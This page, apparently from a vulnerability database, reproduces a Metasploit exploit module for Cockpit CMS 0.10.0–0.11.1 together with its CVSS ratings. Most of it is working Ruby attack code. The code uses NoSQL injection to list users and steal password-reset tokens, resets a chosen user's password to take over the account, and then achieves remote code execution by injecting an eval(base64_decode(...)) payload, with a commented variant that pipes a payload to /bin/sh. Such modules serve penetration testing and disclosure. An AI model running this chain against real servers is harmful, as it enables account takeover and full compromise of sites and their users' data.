Lucene search

K
metasploitH00die, Nikita PetrovMSF:EXPLOIT-MULTI-HTTP-COCKPIT_CMS_RCE-
HistoryApr 18, 2021 - 10:52 p.m.

Cockpit CMS NoSQLi to RCE

2021-04-1822:52:04
h00die, Nikita Petrov
www.rapid7.com
120

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.813 High

EPSS

Percentile

98.3%

This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cockpit CMS NoSQLi to RCE',
        'Description' => %q{
          This module exploits two NoSQLi vulnerabilities to retrieve the user list,
          and password reset tokens from the system.  Next, the USER is targetted to
          reset their password.
          Then a command injection vulnerability is used to execute the payload.
          While it is possible to upload a payload and execute it, the command injection
          provides a no disk write method which is more stealthy.
          Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
          for exploitation.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Nikita Petrov' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
          [ 'CVE', '2020-35847' ], # reset token extraction
          [ 'CVE', '2020-35846' ], # user name extraction
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'PrependFork' => true
        },
        'DisclosureDate' => '2021-04-13',
        'DefaultTarget' => 0,
        'Notes' => {
          # ACCOUNT_LOCKOUTS due to reset of user password
          'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SERVICE_DOWN ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
        OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
        OptString.new('USER', [false, 'User account to take over', ''])
      ], self.class
    )
  end

  def get_users(check: false)
    print_status('Attempting Username Enumeration (CVE-2020-35846)')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # return bool of if not vulnerable
    # https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
    if check
      return (res.body.include?('Function should be callable') ||
        # https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
        res.body.include?('Condition not valid') ||
        res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
    end

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_reset_tokens
    print_status('Obtaining reset tokens (CVE-2020-35847)')
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_user_info(token)
    print_status('Obtaining user info')
    res = send_request_raw(
      'uri' => '/auth/newpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    /this.user\s+=([^;]+);/ =~ res.body
    userdata = JSON.parse(Regexp.last_match(1))
    userdata.each do |k, v|
      print_status("  #{k}: #{v}")
    end
    report_cred(
      username: userdata['user'],
      password: userdata['password'],
      private_type: :nonreplayable_hash
    )
    userdata
  end

  def reset_password(token, user)
    password = Rex::Text.rand_password
    print_good("Changing password to #{password}")
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token, 'password' => password })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # loop through found results
    body = JSON.parse(res.body)
    print_good('Password update successful') if body['success']
    report_cred(
      username: user,
      password: password,
      private_type: :password
    )
    password
  end

  def report_cred(opts)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:username],
      private_data: opts[:password],
      private_type: opts[:private_type],
      jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: ''
    }.merge(service_data)
    create_credential_login(login_data)
  end

  def login(un, pass)
    print_status('Attempting login')
    res = send_request_cgi(
      'uri' => '/auth/login',
      'keep_cookies' => true
    )
    login_cookie = res.get_cookies

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body

    res = send_request_cgi(
      'uri' => '/auth/check',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
    print_good("Valid cookie for #{un}: #{login_cookie}")
  end

  def gen_token(user)
    print_status('Attempting to generate tokens')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => JSON.generate({ user: user })
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
  end

  def rce
    print_status('Attempting RCE')
    p = Rex::Text.encode_base64(payload.encoded)
    send_request_cgi(
      'uri' => '/accounts/find',
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      # this is more similar to how the original POC worked, however even with the & and prepend fork
      # it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
      # was killed when using an arch => cmd type payload.
      # 'data'     => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
      # with this method most pages still seem to load, logins work, but the password reset will not respond
      # however, everything else seems to work ok
      'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
    )
  end

  def check
    begin
      return Exploit::CheckCode::Appears unless get_users(check: true)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['ENUM_USERS']
      users = get_users
      print_good("  Found users: #{users}")
    end

    fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''

    tokens = get_reset_tokens
    # post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
    if tokens == []
      gen_token(datastore['USER'])
      tokens = get_reset_tokens
    end
    print_good("  Found tokens: #{tokens}")
    good_token = ''
    tokens.each do |token|
      print_status("Checking token: #{token}")
      userdata = get_user_info(token)
      if userdata['user'] == datastore['USER']
        good_token = token
        break
      end
    end
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
    password = reset_password(good_token, datastore['USER'])
    login(datastore['USER'], password)
    rce
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.813 High

EPSS

Percentile

98.3%